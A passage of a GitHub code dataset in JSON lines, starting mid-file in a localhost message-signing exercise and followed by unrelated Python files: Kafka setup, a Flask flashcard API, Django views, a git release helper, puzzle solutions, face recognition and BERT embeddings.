 args = parser.parse_args()\n\n    if(args.hash not in possible_hashes):\n        print(\"Please Input a Valid Hash\")\n        exit(-1)\n\n    pubkey_file = open('pubkey','w')#Publishes public key for reciever to see (local file for this setup)\n    pubkey_file.write(public_key.public_bytes(serialization.Encoding.PEM, serialization.PublicFormat.SubjectPublicKeyInfo).decode('utf-8'))\n    pubkey_file.close()\n\n    for i in range(args.loop):\n        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:\n            s.connect((localhost, port))\n\n            data_file = open('credit_card.json')#gets the data from the file\n            data = data_file.read()\n            data_file.close()\n            data = data.encode('utf-8')\n\n            if args.control:\n                send_msg(s, \"\", data, args)\n                s.close\n                continue\n            \n            signature = private_key.sign(#creates signature\n                data,\n                padding.PSS(\n                    mgf=padding.MGF1(hash_functions[possible_hashes.index(args.hash)]),\n                    salt_length=padding.PSS.MAX_LENGTH\n                ),\n                hash_functions[possible_hashes.index(args.hash)]\n            )\n\n            send_msg(s, signature, data, args)\n            s.close()\n    time.sleep(1)","repo_name":"gabrielvieira37/VTNetworkSecurity","sub_path":"sender.py","file_name":"sender.py","file_ext":"py","file_size_in_byte":2974,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"74527741903","text":"from kafka import KafkaAdminClient, KafkaProducer\nimport os\nfrom kafka.admin import NewTopic\nfrom common.config_manager.load_config import get_config\nfrom common.ksqldbclient.ksqldb_client import KsqlDbClient\nimport pandas as pd\nimport json\n\n\ndef main():\n    print(\"setting up system\")\n    env = os.getenv('F1_ENV')\n    config = get_config(env)\n\n    kafka_server = config['kafka']['server']\n    kafka_topics_to_create = config['kafka']['topics_to_create']\n    base_url_base_url = config['ksqldb']['base_url']\n    drivers_path = config['input']['drivers_path']\n    drivers_topic = config['kafka']['drivers_topic']\n\n    kafka_admin_client = KafkaAdminClient(\n        bootstrap_servers=kafka_server\n    )\n    create_topics_if_not_exists(kafka_admin_client, kafka_topics_to_create, drivers_topic)\n\n    producer = KafkaProducer(bootstrap_servers=[kafka_server],\n                             value_serializer=lambda x: json.dumps(x).encode('utf-8'),\n                             acks='all')\n    populate_drivers_table(producer, drivers_path, drivers_topic)\n\n    ksqldb_client = KsqlDbClient(base_url_base_url)\n    with open('python_code/setup/config/DDL.sql', 'r') as f:\n        print(f\"Setting up ksqlDb\")\n        queries_string = f.read()\n        queries = queries_string.split(\";\")\n\n        for query in queries:\n            if query:\n                print(f\"Running ksqlDb query: {query}\")\n                query = f\"{query};\"\n                ksqldb_client.execute_statement(query)\n\n\ndef populate_drivers_table(producer, drivers_file_name, kafka_output_topic):\n    drivers_df = pd.read_csv(drivers_file_name)\n    drivers = drivers_df.to_dict('records')\n\n    print(f\"populating drivers table\")\n    for d in drivers:\n        producer.send(kafka_output_topic, d)\n\n\ndef create_topics_if_not_exists(admin_client: KafkaAdminClient, topic_names, drivers_topic):\n    existing_topics = admin_client.list_topics()\n\n    if drivers_topic in existing_topics:\n        existing_topics = existing_topics.remove(drivers_topic)\n        admin_client.delete_topics([drivers_topic])\n\n    topic_names_to_create = [NewTopic(name, 1, 1) for name in topic_names if name not in existing_topics]\n\n    if topic_names_to_create:\n        print(f\"creating kafka topics {', '.join([t.name for t in topic_names_to_create])}\")\n        admin_client.create_topics(topic_names_to_create)\n\n\nif __name__ == '__main__':\n    main()\n\n","repo_name":"ormahler/f1-exercise","sub_path":"python_code/setup/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2389,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"4363996221","text":"from datetime import datetime\nfrom flask import Blueprint, request, jsonify, current_app\nfrom ..models import Deck, Card, User\nfrom ..extensions import db\nfrom ..util.auth import token_required\nfrom ..util import date\n\ncard_bp = Blueprint('card', __name__)\n\n\n@card_bp.route('/api/decks/<int:deck_id>/cards', methods=['POST'])\n@token_required\ndef create_card(jwt_data, deck_id):\n    user = db.session.get(User, jwt_data['user_id'])\n\n    if not user:\n        return jsonify({'message': 'User not found'}), 404\n\n    deck = db.session.get(Deck, deck_id)\n\n    if not deck:\n        return jsonify({'message': 'Deck not found'}), 404\n\n    if deck.user_id != user.id:\n        return jsonify({'message': 'You do not own this deck'}), 403\n\n    data = request.json\n    front = data.get('front')\n    back = data.get('back')\n    reverse = data.get('reverse') or False\n\n    if not front or not back:\n        return jsonify({'message': 'Please provide card front and back'}), 400\n\n    card = Card(front=front, back=back, deck=deck)\n    db.session.add(card)\n    db.session.commit()\n    data = [card.get_json()]\n\n    if reverse:\n        reverse_card = Card(front=back, back=front, deck=deck)\n        db.session.add(reverse_card)\n        db.session.commit()\n        data.append(reverse_card.get_json())\n\n    return jsonify({'message': 'Cards created successfully', 'data': data}), 201\n\n\n@card_bp.route('/api/decks/<int:deck_id>/cards', methods=['GET'])\n@token_required\ndef search_cards(jwt_data, deck_id):\n    user = db.session.get(User, jwt_data['user_id'])\n\n    if not user:\n        return jsonify({'message': 'User not found'}), 404\n\n    deck = db.session.get(Deck, deck_id)\n\n    if not deck:\n        return jsonify({'message': 'Deck not found'}), 404\n    if not deck.shared and deck.user_id != user.id:\n        return jsonify({'message': 'You do not own this deck'}), 403\n\n    q = request.args.get('q')\n    limit = request.args.get('limit')\n    offset = request.args.get('offset')\n    count = request.args.get('count') != None\n    new = request.args.get('new') != None\n    due = request.args.get('due')\n    revised = request.args.get('revised')\n\n    query = Card.query.filter(Card.deck_id == deck.id)\n\n    if new:\n        query = query.filter(Card.knowledge_level == 0)\n\n    if due:\n        try:\n            due = date.normalize(datetime.fromisoformat(due))\n        except:\n            return jsonify({'message': 'Field \"due\" must be an isoformat date'}), 400\n\n        query = query.filter(Card.revision_due <= due)\n\n    if revised:\n        try:\n            revised = date.normalize(datetime.fromisoformat(revised)).date()\n        except:\n            return jsonify({'message': 'Field \"revised\" must be an isoformat date'}), 400\n\n        query = query.filter(Card.last_revised == revised)\n\n    if q is not None:\n        query = query.filter(Card.front.ilike(f'%{q}%'))\n\n    if limit is not None:\n        try:\n            limit = max(int(limit), 0)\n        except:\n            return jsonify({'message': 'Limit must be an integer'}), 400\n\n        query = query.limit(limit)\n\n        if offset is not None:\n            try:\n                offset = max(int(offset), 0)\n            except:\n                return jsonify({'message': 'Offset must be an integer'}), 400\n\n            query = query.offset(offset)\n\n    if count:\n        return jsonify({'data': query.count()}), 200\n\n    cards = query.all()\n\n    card_list = [card.get_json() for card in cards]\n    return jsonify({'data': card_list}), 200\n\n\n@card_bp.route('/api/cards/<int:card_id>', methods=['GET'])\n@token_required\ndef get_card(jwt_data, card_id):\n    user = db.session.get(User, jwt_data['user_id'])\n\n    if not user:\n        return jsonify({'message': 'User not found'}), 404\n\n    card = db.session.get(Card, card_id)\n\n    if not card:\n        return jsonify({'message': 'Card not found'}), 404\n\n    if not card.deck.shared and card.deck.user_id != user.id:\n        return jsonify({'message': 'You do not have the deck to which this card pertains'}), 403\n\n    return jsonify({'data': card.get_json()}), 200\n\n\n@card_bp.route('/api/cards/<int:card_id>', methods=['PUT'])\n@token_required\ndef update_card(jwt_data, card_id):\n    user = db.session.get(User, jwt_data['user_id'])\n\n    if not user:\n        return jsonify({'message': 'User not found'}), 404\n\n    card = db.session.get(Card, card_id)\n\n    if not card:\n        return jsonify({'message': 'Card not found'}), 404\n\n    if card.deck.user_id != user.id:\n        return jsonify({'message': 'You do not have permission to update this card'}), 403\n\n    data = request.json\n    front = data.get('front', card.front)\n    back = data.get('back', card.back)\n    knowledge_level = data.get('knowledge_level', card.knowledge_level)\n    last_revised = data.get('last_revised', card.last_revised)\n    revision_due = data.get('revision_due', card.revision_due)\n\n    if last_revised != None:\n        try:\n            card.last_revised = date.normalize(\n                datetime.fromisoformat(last_revised))\n        except:\n            return jsonify({'message': 'Field \"last_revised\" must be an isoformat date'}), 400\n\n    if revision_due != None:\n        try:\n            card.revision_due = date.normalize(\n                datetime.fromisoformat(revision_due))\n        except:\n            return jsonify({'message': 'Field \"revision_due\" must be an isoformat date'}), 400\n\n    if knowledge_level != None:\n        try:\n            card.knowledge_level = min(max(int(knowledge_level), 0), 4)\n        except:\n            return jsonify({'message': 'Field \"knowledge_level\" must be an integer'}), 400\n\n    card.front = front\n    card.back = back\n\n    db.session.commit()\n\n    return jsonify({'message': 'Card updated successfully', 'data': card.get_json()}), 200\n\n\n@card_bp.route('/api/cards', methods=['PUT'])\n@token_required\ndef update_cards(jwt_data):\n    user = db.session.get(User, jwt_data['user_id'])\n\n    if not user:\n        return jsonify({'message': 'User not found'}), 404\n\n    data = request.json\n\n    if not isinstance(data, list):\n        return jsonify({'message': 'Expected a list as body'}), 400\n\n    for new_card in data:\n        id = new_card.get('id')\n\n        if not id:\n            return jsonify({'message': 'Missing id field'}), 400\n\n        card = db.session.get(Card, id)\n\n        if not card:\n            return jsonify({'message': 'Card with id {} not found'.format(id)}), 404\n\n        if card.deck.user_id != user.id:\n            return jsonify({'message': 'You do not have permission to update card with id {}'.format(id)}), 403\n\n        front = new_card.get('front', card.front)\n        back = new_card.get('back', card.back)\n        knowledge_level = new_card.get('knowledge_level', card.knowledge_level)\n        last_revised = new_card.get('last_revised', card.last_revised)\n        revision_due = new_card.get('revision_due', card.revision_due)\n\n        if last_revised != None:\n            try:\n                card.last_revised = date.normalize(\n                    datetime.fromisoformat(last_revised))\n            except:\n                return jsonify({'message': 'Field \"last_revised\" must be an isoformat date'}), 400\n\n        if revision_due != None:\n            try:\n                card.revision_due = date.normalize(\n                    datetime.fromisoformat(revision_due))\n            except:\n                return jsonify({'message': 'Field \"revision_due\" must be an isoformat date'}), 400\n\n        if knowledge_level != None:\n            try:\n                card.knowledge_level = int(knowledge_level)\n            except:\n                return jsonify({'message': 'Field \"knowledge_level\" must be an integer'}), 400\n\n        card.front = front\n        card.back = back\n\n    db.session.commit()\n\n    return jsonify({'message': 'Cards updated successfully'}), 200\n\n\n@card_bp.route('/api/cards/<int:card_id>', methods=['DELETE'])\n@token_required\ndef delete_card(jwt_data, card_id):\n    user = db.session.get(User, jwt_data['user_id'])\n\n    if not user:\n        return jsonify({'message': 'User not found'}), 404\n\n    card = db.session.get(Card, card_id)\n\n    if not card:\n        return jsonify({'message': 'Card not found'}), 404\n\n    if card.deck.user_id != user.id:\n        return jsonify({'message': 'You do not have permission to delete this card'}), 403\n\n    db.session.delete(card)\n    db.session.commit()\n\n    return jsonify({'message': 'Card deleted successfully', 'data': card.get_json()}), 200\n","repo_name":"augustogunsch/cardmaster","sub_path":"backend/app/routes/card.py","file_name":"card.py","file_ext":"py","file_size_in_byte":8443,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"18972154138","text":"import json\nimport pandas as pd\nfrom django.shortcuts import render\nfrom django.db import IntegrityError\nfrom apps.core.models import Department\n\n\n# Create your views here.\n\ndef index(request):\n    df = pd.read_pickle(\"Input_Dataframe.pckl\")\n    depart = list(df.Department.unique())\n    for d in depart:\n        try:\n            Department.objects.create(name = d)\n        except IntegrityError:\n            pass\n    query_results = Department.objects.all();\n    context = { 'query_results' : query_results }\n    return render(request, template_name='index.html', context=context)\n\ndef dashboardView(request,name):\n    \n    query_results = Department.objects.all();\n    df = pd.read_pickle(\"Input_Dataframe.pckl\")\n    depart = list(df.Department.unique())\n    list_depart1 = df.loc[df['Department'] == depart[0]]\n    list_depart2 = df.loc[df['Department'] == depart[1]]\n    new_df1 = list_depart1.loc[df['Section'] == 'Bottom']\n    new_df2 = list_depart2.loc[df['Item'] == 'Jobs']\n    index1 = int(new_df1[new_df1['Section']=='Bottom'].index.values)\n    index2 = int(new_df2[new_df2['Item']=='Jobs'].index.values)\n    table1=list_depart1['Text'][index1].to_html(index=False,justify='left')\n    table2=list_depart2['Text'][index2].to_html(index=False,justify='left')\n    context = { 'query_results' : query_results, 'data': table1,'data1':table2}\n    if name == 'Design':\n        template_name='design.html'\n    elif name == 'Engineering':\n        template_name='engineering.html'\n    else:\n        template_name='accounting.html'\n\n    return render(request, template_name, context=context)\n","repo_name":"proxydhakal/django_dashboard","sub_path":"apps/core/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1591,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"14272078535","text":"import datetime\nimport subprocess\nfrom utils.eta_tool import ETATool\n\nup_speed = 1.2433  # in megabits, can replace with your github upload speed to get more accurate eta results\n\n\nclass opReleaser:\n  profiles = {'ShaneSmiskol':  # add as many profiles as you want\n                {'op_base_dir': 'C:/Git/openpilot-repos/op-smiskol/openpilot',\n                 'release_branch': 'stock_additions',\n                 'target_branch': 'stock_additions-release',\n                 'commit_message': 'Stock Additions (0.7.4) {} Release'},\n              }\n\n  def __init__(self):\n    \"\"\"\n      self.op_base_dir: Replace with the path leading to your local openpilot repository\n      self.release_branch: Replace with the name of your most stable branch\n      self.target_branch: Replace with the name of the target branch you want a squashed version of your release branch on\n      self.commit_message: The commit message to be pushed to your target_branch. You can either use the included date function or remove it\n\n      When you run this file, it will checkout your release branch immediately, make sure it's up to date with your remote by pulling before running\n    \"\"\"\n\n    profile = 'ShaneSmiskol'  # change to your desired current profile\n\n    self.op_base_dir = self.profiles[profile]['op_base_dir']\n    self.release_branch = self.profiles[profile]['release_branch']\n    self.target_branch = self.profiles[profile]['target_branch']\n    self.commit_message = self.profiles[profile]['commit_message'].format(self.get_cur_date())\n\n    self.eta_tool = ETATool(self.op_base_dir, up_speed)\n\n    self.msg_count = 0\n    self.total_steps = 3\n\n    self.create_release()\n\n  def create_release(self):\n    # Checkout release branch\n    r = self.run('git checkout {}'.format(self.release_branch))\n    if any([True if r in i else False for i in ['Switched to branch', 'Already on']]):\n      raise Exception('Error checking out release branch!')\n\n    # Delete old target branch if it exists\n    self.attempt_delete()\n\n    # Checkout a new orphan branch\n    r = self.run('git checkout --orphan {}'.format(self.target_branch))\n    if 'Switched to a new branch' not in r:\n      raise Exception('Error switching to target branch!')\n\n    # Add all files in release branch to new target branch\n    self.message('Adding and committing all files to {} branch...'.format(self.target_branch))\n    self.run('git add --all')\n\n    # Commit all files\n    r = self.run(['git', 'commit', '-am', self.commit_message], no_convert=True)\n\n    if 'create mode' not in r:\n      raise Exception('Error adding files to current branch!')\n\n    self.eta_tool.start_eta()\n\n    # Replace current release on remote\n    self.message('Now force pushing to remote (origin/{})...'.format(self.target_branch))\n    self.run('git push -f --set-upstream origin {}'.format(self.target_branch))\n    self.eta_tool.stop()\n\n    # Check the release branch back out\n    self.run('git checkout {}'.format(self.release_branch))\n\n    # Finished\n    print('\\nFinished! Squashed {} branch to 1 commit and force pushed to {} branch!'.format(self.release_branch, self.target_branch))\n    print('Commit message: {}'.format(self.commit_message))\n\n  def run(self, cmd, no_convert=False):\n    if not no_convert:\n      cmd = cmd.split(' ')\n    return subprocess.check_output(cmd, cwd=self.op_base_dir, stderr=subprocess.STDOUT, encoding='utf8')\n\n  def attempt_delete(self):\n    try:\n      r = self.run('git branch -D {}'.format(self.target_branch))\n      self.message(r.replace('\\n', ''))\n    except subprocess.CalledProcessError:\n      self.message('{} branch already deleted.'.format(self.target_branch))\n\n  def get_cur_date(self):\n    today = datetime.datetime.today()\n    return today.strftime('%h %d, %Y').replace(' 0', ' ')\n\n  def message(self, msg):\n    print('[{}/{}]: {}'.format(self.msg_count + 1, self.total_steps, msg), flush=True)\n    self.msg_count += 1\n\n\nopReleaser()\n","repo_name":"sshane/op-release-tool","sub_path":"op_releaser.py","file_name":"op_releaser.py","file_ext":"py","file_size_in_byte":3911,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"21141695630","text":"import sys\ninput = lambda: sys.stdin.readline().rstrip()\n\nn, m = map(int, input().split())\narr = []\ndp = [[0 for _ in range(m)] for _ in range(n)]\narr = [list(map(int, input())) for _ in range(n)]\n\nans = 0\nfor i in range(n):\n    for j in range(m):\n        if i == 0 or j == 0:\n            dp[i][j] = arr[i][j]\n        elif arr[i][j] == 0:\n            dp[i][j] = 0\n        else:\n            dp[i][j] = min(dp[i-1][j-1], dp[i-1][j], dp[i][j-1]) + 1\n        \n        ans = max(ans, dp[i][j])\n\nprint(ans*ans)\n","repo_name":"cpwoo/CodeTest","sub_path":"Python/boj/dp/1915.py","file_name":"1915.py","file_ext":"py","file_size_in_byte":505,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"}
{"seq_id":"12209591128","text":"\"\"\"Engine games.\"\"\"\nimport sys\n\nimport prompt\n\n\ndef break_point(name):\n    \"\"\"Add break function.\"\"\"\n    sys.stdout.write(\n        \"Let's try again, {user}!\\n\".format(user=name),\n    )\n\n\ndef decorator_game(func):\n    \"\"\"Add decorator for game.\n\n    Returns:\n        wrapper.\n\n    Parameter:\n        func: name.\n    \"\"\"\n\n    def wrapper_game(name, greeting_text, exit_text=None):\n        count = 0\n        while count != 3:\n            result_game = func(name, greeting_text, exit_text=None)\n            sys.stdout.write(greeting_text)\n            sys.stdout.write('Question: {num}\\n'.format(num=result_game[1]))\n            answer = prompt.string('Your answer: ')\n            if str(result_game[0]) == answer:\n                sys.stdout.write('Correct!\\n')\n                count += 1\n            elif exit_text:\n                sys.stdout.write(\n                    '{0} {1} {2}.\\n'.format(\n                        answer, exit_text, result_game[0],\n                    ),\n                )\n                break_point(name)\n                break\n            else:\n                break_point(name)\n                break\n        if count == 3:\n            sys.stdout.write('Congratulations, {user}!\\n'.format(user=name))\n\n    return wrapper_game\n","repo_name":"KAnanev/python-project-lvl1","sub_path":"brain_games/brain_engine.py","file_name":"brain_engine.py","file_ext":"py","file_size_in_byte":1246,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"29041988972","text":"class Solution(object):\n    def lengthOfLastWord(self, s):\n        \"\"\"\n        :type s: str\n        :rtype: int\n        \"\"\"\n        \n        # separate words into list\n        s = s.split(' ')\n        \n        # find last entity not empty\n        idx = 1\n        while s[-idx] == \"\": \n            idx += 1\n        \n        return len(s[-idx])\n","repo_name":"warrenjx/leetcode_problems","sub_path":"Easy/0058.Length_of_Last_Word.py","file_name":"0058.Length_of_Last_Word.py","file_ext":"py","file_size_in_byte":343,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"16658205383","text":"from multiprocessing import Process\nfrom contextlib import contextmanager\nfrom abc import abstractmethod\n\nimport numpy as np\nimport cv2\n\nfrom game.config import CONFIG\nfrom game.events.tasks import *\nfrom game.events.results import *\nfrom game.database import FaceDatabase\nfrom game.recognition.models import init_model_stack\nfrom game.recognition.face import Face\nfrom game.monitoring import monitor_runtime\n\n\nclass WorkerProcess(Process):\n    def __init__(self, task_queue, result_queue, error_queue):\n        super(WorkerProcess, self).__init__()\n        self.task_queue = task_queue\n        self.result_queue = result_queue\n        self.error_queue = error_queue\n\n    @abstractmethod\n    def execute_task(self, task):\n        pass\n\n    def get_task(self):\n        if not self.task_queue.empty():\n            return True, self.task_queue.get()\n        else:\n            return False, None\n\n    def run(self):\n        try:\n            while True:\n                task_available, task = self.get_task()\n                if not task_available:\n                    continue\n\n                if isinstance(task, Shutdown):\n                    break\n\n                result = self.execute_task(task)\n                if result:\n                    self.result_queue.put(result)\n\n            # make sure to empty the queue\n            while True:\n                task_available, _ = self.get_task()\n                if not task_available:\n                    break\n\n        except Exception as e:\n            self.error_queue.put(Error())\n            raise e  # to throw stacktrace and stop this process\n\n\nclass RecognitionProcess(WorkerProcess):\n    def __init__(self, task_queue, result_queue, error_queue):\n        super(RecognitionProcess, self).__init__(task_queue, result_queue, error_queue)\n\n        self.models = None\n        self.face_database = FaceDatabase(CONFIG[\"recognition\"][\"database\"][\"location\"])\n\n    def execute_task(self, task):\n        if not self.models:\n            self.models = init_model_stack()\n\n        if isinstance(task, RecognizeFaces):\n            bgr_image = task.image.data\n            rgb_image = cv2.cvtColor(bgr_image, cv2.COLOR_BGR2RGB)\n\n            faces = self.__detect_faces(rgb_image, bgr_image)\n            if len(faces) > 0:\n                self._crop(rgb_image, faces)\n                self._extract_features(faces)\n                self._find_matches(faces)\n            return RecognitionResult(faces)\n\n        elif isinstance(task, BackupFaceDatabase):\n            self.face_database.store()\n\n        elif isinstance(task, RegisterFaces):\n            if task.recognition_result is None or task.recognition_result.faces is None:\n                return RegistrationResult(persons=[])\n\n            registered = self.face_database.add_all(task.recognition_result.faces)\n            return RegistrationResult(persons=registered)\n\n        elif isinstance(task, UnregisterMostRecentFaces):\n            unregistered = self.face_database.remove_most_recent()\n            return UnregistrationResult(persons=unregistered)\n\n        else:\n            raise NotImplementedError()\n\n    @monitor_runtime\n    def __detect_faces(self, rgb_image, bgr_image):\n        bounding_boxes = self.models.detect_faces(rgb_image)\n        thumbnails = [bgr_image[box.top(): box.bottom(), box.left(): box.right(), :] for box in bounding_boxes]\n        faces = [Face(bounding_box=box, thumbnail=thumbnail) for box, thumbnail in zip(bounding_boxes, thumbnails)]\n        return faces\n\n    @monitor_runtime\n    def _crop(self, rgb_image, faces):\n        for face in faces:\n            face.landmarks = self.models.find_landmarks(rgb_image, face.bounding_box)\n            face.crop = self.models.crop(rgb_image, face.landmarks)\n\n    @monitor_runtime\n    def _extract_features(self, faces):\n        all_features = self.models.extract_features(np.array([face.crop for face in faces]))\n        for face, features in zip(faces, all_features):\n            face.features = features\n\n    @monitor_runtime\n    def _find_matches(self, faces):\n        num_matches = CONFIG[\"display\"][\"num_matches_debug\"]\n        for face in faces:\n            face.matches = self.models.match_faces(face.features, self.face_database.faces)[:num_matches]\n\n\n@contextmanager\ndef init_recognition(work_queue, results_queue, error_queue):\n    recognition = RecognitionProcess(work_queue, results_queue, error_queue)\n\n    try:\n        recognition.start()\n        yield recognition\n    finally:\n        work_queue.put(Shutdown())\n","repo_name":"krasch/face-recognition-game","sub_path":"game/recognition/recognition.py","file_name":"recognition.py","file_ext":"py","file_size_in_byte":4501,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"}
{"seq_id":"41916829392","text":"#!pip install pytorch-pretrained-bert\r\nimport torch\r\n#from pytorch_pretrained_bert import BertTokenizer, BertModel, BertForMaskedLM\r\n# If we use Bert from tranformers it outputs the same shape embedding as the \r\n# german one.\r\n# Helpful : https://huggingface.co/transformers/model_doc/bert.html\r\nfrom transformers import AutoModel, AutoTokenizer, BertTokenizer, BertModel\r\n#\r\nfrom preprocess import Preprocess\r\n\r\n\r\nclass Embedding():\r\n    \r\n    '''\r\n    Parameters: \r\n        lang: 'en'/'english' or 'de'/'german'\r\n        model: Pretrained Bert model if lang=='en' \r\n                Pretrained German Bert model if lang=='de'\r\n        tokenizer: Pretrained Bert tokenizer if lang=='en' \r\n                Pretrained German Bert tokenizer if lang=='de'\r\n        preprocesssor: Sentence preprocessor {Lemmatization/ Stop words removal}\r\n    '''\r\n    \r\n    def __init__(self, lang):\r\n        self.model = None\r\n        self.tokenizer = None\r\n        self.preprocessor = Preprocess(lang)\r\n        self.lang = self._set_language(lang)\r\n    \r\n    def _set_language(self, lang):\r\n        '''\r\n        Parameters\r\n        ----------\r\n        lang : str\r\n            DESCRIPTION. 'en' or 'english' for English\r\n                        'de' or 'german' for German\r\n\r\n        Raises\r\n        ------\r\n        ValueError\r\n            DESCRIPTION. If input is not in {'en', 'english', 'de', 'german'}\r\n\r\n        Returns\r\n        -------\r\n        'english' or 'german'\r\n            DESCRIPTION. Sets the Encoder and Tokenizer.\r\n        \r\n        '''\r\n        \r\n        if lang == 'en' or lang == 'english':\r\n            print('Loading English BERT tokenizer...\\n')\r\n            self.tokenizer = BertTokenizer.from_pretrained('bert-base-uncased')\r\n            print('Loading English BERT Model...\\n')\r\n            self.model = BertModel.from_pretrained('bert-base-uncased')\r\n            \r\n            return 'english'\r\n            \r\n        elif lang == 'de'or lang == 'german':\r\n            print('Loading German BERT tokenizer...\\n')\r\n            self.tokenizer = AutoTokenizer.from_pretrained(\"dbmdz/bert-base-german-cased\")\r\n            print('Loading German BERT Model...\\n')\r\n            self.model = AutoModel.from_pretrained(\"dbmdz/bert-base-german-cased\")\r\n            \r\n            return 'german'\r\n\r\n        else:\r\n            raise ValueError('{} {}'.format(\"Input must be one of two: 'en' or\",\r\n                             \"english' for English, 'de' or 'german' for German.\"))\r\n            \r\n    def get_batch_embedding(self, sentences, batch_size, lemmatize=False, remove_stop_words=False):\r\n        '''\r\n        Parameters\r\n        ----------\r\n        sentences : list\r\n            DESCRIPTION. A list of raw text sentences.\r\n        batch_size : int\r\n            DESCRIPTION. Sentences are split into sets of length batch_size \r\n                        to be fed into the model.\r\n        lemmatize : TYPE, optional\r\n            DESCRIPTION. The default is False. If True the preprocessor is used to\r\n                        lemmatise the sentence. \r\n        remove_stop_words : bool, optional\r\n            DESCRIPTION. The default is False. If True the preprocessor is used to\r\n                        remove the stop-words in each sentence.                       \r\n\r\n        Returns\r\n        -------\r\n        embedding_max : Tensor of shape (len(sentences), 768)\r\n\r\n        embedding_avg : Tensor of shape (len(sentences), 768)\r\n\r\n        '''\r\n        #https://mccormickml.com/2019/07/22/BERT-fine-tuning/\r\n        embedding_max = torch.empty(len(sentences), 768)\r\n        embedding_avg = torch.empty(len(sentences), 768)\r\n        for b in range(0, len(sentences), batch_size):\r\n            print('Processing batch {}...'.format(int(b / batch_size + 1)))\r\n            batch = sentences[b:b+batch_size]\r\n            \r\n            tokenized_sentences = []\r\n            # Preprocess and tokenize batch\r\n            for sentence in batch:\r\n                sentence = \" \".join([word if word[-3:] != \"n't\" else word + \" not\" for word in sentence.split()])\r\n                if lemmatize:\r\n                    sentence = self.preprocessor.get_preprocessed_sentence(sentence, remove_stop_words)\r\n                tokenized_sentence = self.get_tokenized_sentence(sentence)\r\n                tokenized_sentences.append(tokenized_sentence)\r\n            current_batch_size = len(tokenized_sentences)\r\n            max_length = len(max(tokenized_sentences, key=len))\r\n            \r\n            # Create tokens_tensor/segmentes_tensor of length (current_batch_size, max_length)\r\n            # index 0 in the vocab = \"[PAD]\"\r\n            # zeros in tokens_tensor are equal to [PAD]\r\n            # zeros in segments_tensor correspond to padded words\r\n            \r\n            tokens_tensor = torch.zeros(current_batch_size, max_length, dtype=torch.long)\r\n            segments_tensor = torch.zeros(current_batch_size, max_length, dtype=torch.long)\r\n            for i in range(len(tokenized_sentences)):\r\n                sent = tokenized_sentences[i]\r\n                sent_len = len(sent)\r\n                \r\n                tokens_tensor[i,:sent_len] = self.get_token_tensor(\r\n                    self.get_indexed_tokens(sent)\r\n                    )\r\n                segments_tensor[i,:sent_len] = self.get_segments_tensor(\r\n                    self.get_segment_indices(sent)\r\n                    )\r\n            # Put the model to evaluation mode\r\n            self.model.eval()\r\n            with torch.no_grad():\r\n                print('Getting embedding for batch {}...\\n'.format(int(b / batch_size + 1)))\r\n                encoded_layers, _ = self.model(tokens_tensor, segments_tensor)\r\n            \r\n            # Average or take the max embeddings with respect to dim=1\r\n            batch_embedding_max, _ = encoded_layers.max(dim=1)\r\n            batch_embedding_avg = encoded_layers.mean(dim=1)\r\n        \r\n            embedding_max[b:b+batch_size,:] = batch_embedding_max\r\n            embedding_avg[b:b+batch_size,:] = batch_embedding_avg\r\n        print('DONE!')\r\n        print('Embedding size is ({},{})'.format(embedding_max.shape[0], embedding_max.shape[1]))\r\n        return embedding_max, embedding_avg\r\n\r\n    def get_tokenized_sentence(self, preprocessed_sentence):\r\n        '''\r\n        Parameters\r\n        ----------\r\n        preprocessed_sentence : str\r\n            DESCRIPTION. A preprocessed sentence to be tokenized. \r\n                    [CLS] marks the beggining and [SEP] the ending of the sentence.\r\n\r\n        Returns\r\n        -------\r\n        tokenized_sentence : list\r\n            DESCRIPTION. A list with tokens of the sentence.\r\n\r\n        '''\r\n        # \"[CLS]\" marks the beggining of a sentence\r\n        # \"[SEP]\" marks the ending of a sentence\r\n        marked_sentence = \"[CLS] \" + preprocessed_sentence + \" [SEP]\"\r\n        tokenized_sentence = self.tokenizer.tokenize(marked_sentence)\r\n        \r\n        return tokenized_sentence\r\n    \r\n    def get_indexed_tokens(self, tokenized_sentence):\r\n        \r\n        indexed_tokens = self.tokenizer.convert_tokens_to_ids(tokenized_sentence)\r\n        \r\n        return indexed_tokens\r\n\r\n    def get_segment_indices(self, tokenized_sentence):\r\n        \r\n        return [1] * len(tokenized_sentence)\r\n    \r\n    def get_token_tensor(self, indexed_tokens):\r\n        '''\r\n        To be called with get_indexed_tokens\r\n        '''\r\n        \r\n        tokens_tensor = torch.tensor([indexed_tokens])\r\n        \r\n        return tokens_tensor\r\n    \r\n    def get_segments_tensor(self, segments_ids):\r\n        '''\r\n        To be called with get_segment_indices\r\n        '''\r\n        \r\n        segments_tensors = torch.tensor([segments_ids])\r\n        \r\n        return segments_tensors\r\n        \r\n        ","repo_name":"Dhruva-Storz/BigBert","sub_path":"embedding.py","file_name":"embedding.py","file_ext":"py","file_size_in_byte":7738,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"}
